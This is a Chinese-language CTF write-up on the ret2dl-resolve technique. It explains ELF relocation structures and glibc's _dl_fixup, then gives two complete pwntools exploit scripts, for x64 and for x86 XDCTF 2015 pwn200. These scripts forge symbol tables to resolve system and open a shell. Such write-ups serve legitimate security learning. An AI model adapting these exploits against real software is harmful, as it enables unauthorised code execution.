记录一下学习ret2dl-resolve的曲折历程。可能顺带回顾一下之前的内容。这篇文章会尽量讲清楚利用过程。
前置知识
首先需要了解构成elf文件的section header table,在后面的分析中主要涉及到三个section:.dynsym,.rela.plt和.dynstr
.rela.plt节(JMPREL段)的结构体组成如下:
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
r_offset: 该函数在.got.plt中的地址
r_info: 包含该函数在.dynsym节中的索引和重定位类型
r_addend: 指定用于计算要存储到可重定位字段中的值的常量加数
.dynsym节(SYMTAB段)的结构体组成:
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
st_name: 该值为此函数在.dynstr中的偏移,其中包含符号名称的字符表示形式。
.rel.plt内结构体组成:
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
r_offset: 该函数在.got.plt中的地址
r_info: 包含该函数在.dynsym节中的索引和重定位类型
.dynsym内结构体组成:
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
st_name: 该值为此函数在.dynstr中的偏移,其中包含符号名称的字符表示形式。
以前做protostar的时候简单学习过一次plt和got,但当时仅限于plt和got表间的跳转[传送门],最后的分析止步于dl_runtime_resolve
。这次的ret2dl-resolve就会涉及到dl_runtime_resolve
这个函数内的具体实现,并加以利用。
要利用这个函数首先就要理清他的内部逻辑,以及涉及到的各种结构体。在学习了多个大佬的博客之后,终于慢慢理解了got表中函数的地址是怎么样一步一步从无到有的(我太菜了)。为了便于自己理解,我把整个过程称作三次跳跃(三级跳是不是好听点:p)。
跟踪
观察puts
函数从被调用,到完成其重定向的整个过程。(用例为64位elf)
这是调用dl_runtime_resolve
前的流程,用一张图可以很直观的展示出来。可以看到,在0x4005c0和0x4005d6处push的分别是它的两个参数link_map和reloc_offset。
此时程序流程进入到dl_runtime_resolve
中,开始重定向操作。而真正的重定向由dl_runtime_resolve
中的_dl_fixup
完成。
_dl_fixup
的源码在这里:
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}
_dl_fixup
的参数由dl_runtime_resolve
压栈传递,即link_map和reloc_offset(由前面宏定义可知reloc_offset和reloc_arg是一样的)
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
line9
到line13
(后面简写为l)从link_map中获取.dynsym,.rela.plt,.dynstr等节的地址。
reloc_offset的值用于指示包含该函数某些信息的结构体在<font color=#fc97c9>.rela.plt</font>节中的位置
.rela.plt段中能看到puts对应的结构体,其info的值为0x100000007,从中提取到的.dynsym索引为1,重定位类型为7(即R_386_JMP_SLOT)
R_386_JMP_SLOT
Created by the link-editor for dynamic objects to provide lazy binding.
Its offset member gives the location of a procedure linkage table entry.
The runtime linker modifies the procedure linkage table entry to transfer control to the designated symbol address.
至此,通过reloc_offset进行的第一次跳跃完成,现在需要使用r_info进行第二次跳跃。已经从link_map获取了.dynsym的起始地址,所以puts在<font color=#fc97c9>.dynsym</font>中的位置是.dynsym[1]。
从puts在.dynsym中的Elf64_Sym结构体成员st_name找到了其名称的字符串在.dynstr中的偏移为0x10,至此完成了第二次跳跃。同前面一样,由.dynstr的起始地址加上偏移就能在.dynstr中找到该函数对应符号的字符串。现在进行第三次跳跃。
由起始地址(0x4003e8)加上偏移(0x10)得到的字符串则是预期中的puts
(0x4003f8),最后一跳完成。
三次跳跃示意图
这个字符串作为l47
的_dl_lookup_symbol_x
函数的参数之一,返回值为libc基址,保存在result中。l58
的DL_FIXUP_MAKE_VALUE
宏从已装载的共享库中查找puts函数的地址,对其重定位后加上该程序的装载地址,得到puts函数的真实地址,结果保存在value中。最后调用elf_machine_fixup_plt
,向puts函数对应got表中填写真实地址,其中参数rel_addr为之前算出的该函数got表地址(0x620018)。
到此为止puts函数已经完成重定向,利用的方式也很显然:即首先构造fake reloc_arg使得.rela.plt起始地址加上这个值后的地址落在我们可控的区域内,接着依次构造fake .dynsym和.dynstr,形成一个完整的fake链,最后在.dynstr相应位置填写system就可以从动态库中将system的真实地址解析到puts的got表项中,最终调用puts实际调用的则是system。
但是想要成功利用的话还有一个地方需要注意,在源码的l26
到l33
:
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
这段代码取r_info的高位作为vernum的下标,访问对应的值并赋给ndx,再从l_versions中找到对应的值赋给version。
问题在于,我们构造的fake链一般位于bss段(64位下,bss段一般位于0x600000之后),.rela.plt一般在0x400000左右,所以我们构造的r_info的高位:reloc_arg一般会很大,又因为程序计算&symtab[ELFW(R_SYM) (reloc->r_info)]
和vernum[ELFW(R_SYM) (reloc->r_info)]
时使用下标的数据类型大小不同(symtab中的结构体大小为0x18字节,vernum的数据类型为uint16_t,大小为0x2字节),这就导致vernum[ELFW(R_SYM) (reloc->r_info)]
大概率会访问到0x400000到0x600000之间的不可读区域(64位下,这个区间一般不可读),使得程序报错。
如果使得l->l_info[VERSYMIDX (DT_VERSYM)]
的值为0,就可以绕过这块if判断,而l->l_info[VERSYMIDX (DT_VERSYM)]
的位置就在link_map+0x1c8处,所以需要泄露位于0x620008处link_map的值,并将link_map+0x1c8置零。
这种攻击方式依赖源程序自带的输出函数。
x64
题目
提取码:eo5z
之前第五空间比赛的一道题目,本身很简单,坑的是泄露libc之后无论如何都找不到对应的libc版本。这时就需要ret2dl-resolve(把所有libc dump下来挨个找也行。。)
刚才分析的用例就是这道题中的puts函数,已经分析的差不多了,剩下的就是精确计算偏移。
首先泄露link_map地址:
payload = p8(0)*(0x10)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(link_map_ptr)
payload += p64(puts_plt)
payload += p64(start)
r.sendline(payload)
link_map_addr = u64(r.recv(6).ljust(8, "\x00"))
loop回start函数继续利用溢出覆盖link_map+0x1c8、构造fake链:
base_addr = 0x620789
align = 0x18 - (base_addr - rel_plt_addr) % 0x18 #Elf64_Rela大小为0x18字节,所以按0x18对齐
base_addr = base_addr + align #对齐后为0x620798
reloc_arg = (base_addr - rel_plt_addr) / 0x18 #获得fake .rela.plt偏移
dynsym_off = (base_addr + 0x18 - dynsym_addr) / 0x18 #获得fake .dynsym偏移
system_off = base_addr + 0x30 - dynstr_addr
bin_sh_addr = base_addr + 0x38
base_addr为puts在fake .rela.plt的地址,这个位置选在了.data段,因为此段有很大一部分都是可写并且不会影响其他功能,所以在这一段中随便选了一个地址。由于后面有对齐操作,所以这里的base_addr故意没有对齐。
base_addr处,构造后的fake链:
- 红色fake .rela.plt
- 蓝色fake .dynsym
- 绿色system和/bin/sh
最终payload:
from pwn import *
#-*- coding:utf-8 -*-
context.log_level = 'debug'
r = process('./pwn')
#gdb.attach(r)
elf = ELF('./pwn')
puts_plt = 0x4005d0
read_plt = 0x400600
exit_plt = 0x400630
puts_got = 0x620018
read_got = 0x620030
exit_got = 0x620048
pop_rdi = 0x414fc3
pop_rsi_r15 = 0x414fc1
read_func = 0x4007e2
plt_addr = 0x4005c0
data_addr = 0x620060
got_plt_addr = 0x620000
pop_rbp_ret = 0x4006b0
leave_ret = 0x4039a3
dynsym_addr = 0x4002c8
dynstr_addr = 0x4003e8
rel_plt_addr = 0x4004f0
link_map_ptr = got_plt_addr+0x8
start = 0x400650
main = 0x4007c3
r.sendline('-1')
r.recvuntil('GOOD?\n')
base_addr = 0x620789
align = 0x18 - (base_addr - rel_plt_addr) % 0x18
base_addr = base_addr + align #0x620798
reloc_arg = (base_addr - rel_plt_addr) / 0x18
dynsym_off = (base_addr + 0x18 - dynsym_addr) / 0x18
system_off = base_addr + 0x30 - dynstr_addr
bin_sh_addr = base_addr + 0x38
log.info("base_addr: "+hex(base_addr))
log.info("reloc_arg: "+hex(reloc_arg))
log.info("dynsym_off: "+hex(dynsym_off))
log.info("system_off: "+hex(system_off))
log.info("bin_sh_addr: "+hex(bin_sh_addr))
payload = p8(0)*(0x10)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(link_map_ptr)
payload += p64(puts_plt)
payload += p64(start)
r.sendline(payload)
link_map_addr = u64(r.recv(6).ljust(8, "\x00"))
log.success('link_map_addr: ' + hex(link_map_addr))
r.sendline('-1')
r.recvuntil('GOOD?\n')
payload2 = p8(0)*0x18
payload2 += p64(pop_rsi_r15)
payload2 += p64(0x20)
payload2 += p64(0)
payload2 += p64(pop_rdi)
payload2 += p64(link_map_addr + 0x1c0)
payload2 += p64(read_func)
payload2 += p64(pop_rsi_r15)
payload2 += p64(0x100)
payload2 += p64(0)
payload2 += p64(pop_rdi)
payload2 += p64(base_addr - 0x8)
payload2 += p64(read_func)#读取fake链到可控制区域(.data)
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(plt_addr) #跳转到PLT[0],push link_map后执行dl_runtime_resolve
payload2 += p64(reloc_arg) #跳转到dl_runtime_resolve后,此处为rsp+0x10,被视为reloc_arg
payload2 += p8(0)*(0x100 - len(payload2))
r.send(payload2)
r.send(p8(0)*0x20)
payload3 = p8(0)*6
payload3 += p64(read_got)
payload3 += p32(0x7) + p32(dynsym_off)
payload3 += p64(0)
payload3 += p32(system_off) + p32(0x12)
payload3 += p64(0)*2
payload3 += 'system\x00\x00'
payload3 += '/bin/sh\x00'
payload3 += p8(0)*(0x100 - len(payload3))
r.send(payload3)
r.interactive()
x86
题目
提取码:ofc6
ctf wiki上的一道题,XDCTF 2015的pwn200。
x86下的结构体和x64略有不同,但利用方法大同小异。
x86下的JMPREL段对应.rel.plt节,而不是x64下的.rela.plt节
找到.rel.plt起始地址
和.dynsym起始地址
之后就是慢慢调整偏移
from pwn import *
context.log_level = 'debug'
r = process('./pwn200')
elf = ELF('./pwn200')
#gdb.attach(r)
write_plt = elf.symbols['write']
write_got = elf.got['write']
read_plt = elf.symbols['read']
read_got = elf.got['read']
start = 0x80483D0
ppp_ret = 0x080485cd
pop_ebp = 0x08048453
leave = 0x08048481
rel_plt = 0x8048318
plt0 = 0x8048370
dynsym = 0x80481D8
dynstr = 0x8048268
#构造fake地址
#这里手动对齐了,所以省去了对齐操作。Elf32_Rel大小为0x10字节,所以除0x10
base_addr = 0x804a800
reloc_arg = base_addr + 0x28 - rel_plt
dynsym_off = (base_addr + 0x38 - dynsym) / 0x10
system_off = base_addr + 0x48 - dynstr
binsh_addr = base_addr + 0x50
r_info = (dynsym_off << 8) | 0x7
log.success('reloc_arg: ' + hex(reloc_arg))
log.success('dynsym_off: ' + hex(dynsym_off))
log.success('system_off: ' + hex(system_off))
log.success('binsh_addr: ' + hex(binsh_addr))
log.success('r_info: ' + hex(r_info))
bss = 0x804a020
payload = 'a'*0x6c + 'a'*4
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_addr)
payload += p32(100)
payload += p32(pop_ebp)
payload += p32(base_addr)#这里可以改成base_addr-4提前平衡leave的pop操作,后面的偏移会好算点
payload += p32(leave)
r.recvuntil('Welcome to XDCTF2015~!')
r.sendline(payload)
payload = 'aaaa' #因为leave返回前有pop操作,所以这里填充4字节以平衡栈
payload += p32(plt0)
payload += p32(reloc_arg)
payload += 'a'*4 #不需要返回地址,这里为填充字符
payload += p32(binsh_addr) #plt0最后相当于调用system,所以这里为system的参数地址
payload += 'a'*0x14
payload += p32(read_got)
payload += p32(r_info)
payload += 'a'*8
payload += p32(system_off)
payload += p32(0)*2
payload += p32(0x12)
payload += 'system\x00\x00'
payload += '/bin/sh\x00'
payload += 'a'*(100-len(payload))
r.sendline(payload)
r.interactive()
结语
继ret2shellcode,ret2libc,ret2text,ret2syscall等ROP技巧之后,我以为ret2dlresolve会一样的简单,事实证明不能以貌取人。学习这个利用方法的过程中最大的感受就是它不仅利用难度提高了,对偏移计算的要求也非常苛刻,在三次跳跃的过程中,任何误差都会导致无法get shell。
参考链接:
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
https://docs.oracle.com/cd/E19683-01/816-1386/chapter6-54839/index.html
https://bbs.pediy.com/thread-253833.htm
https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#5reloc
http://rk700.github.io/2015/08/09/return-to-dl-resolve/
https://code.woboq.org/userspace/glibc/elf/elf.h.html#660
https://blog.csdn.net/conansonic/article/details/54634142
https://www.cnblogs.com/ichunqiu/p/9542224.html
https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/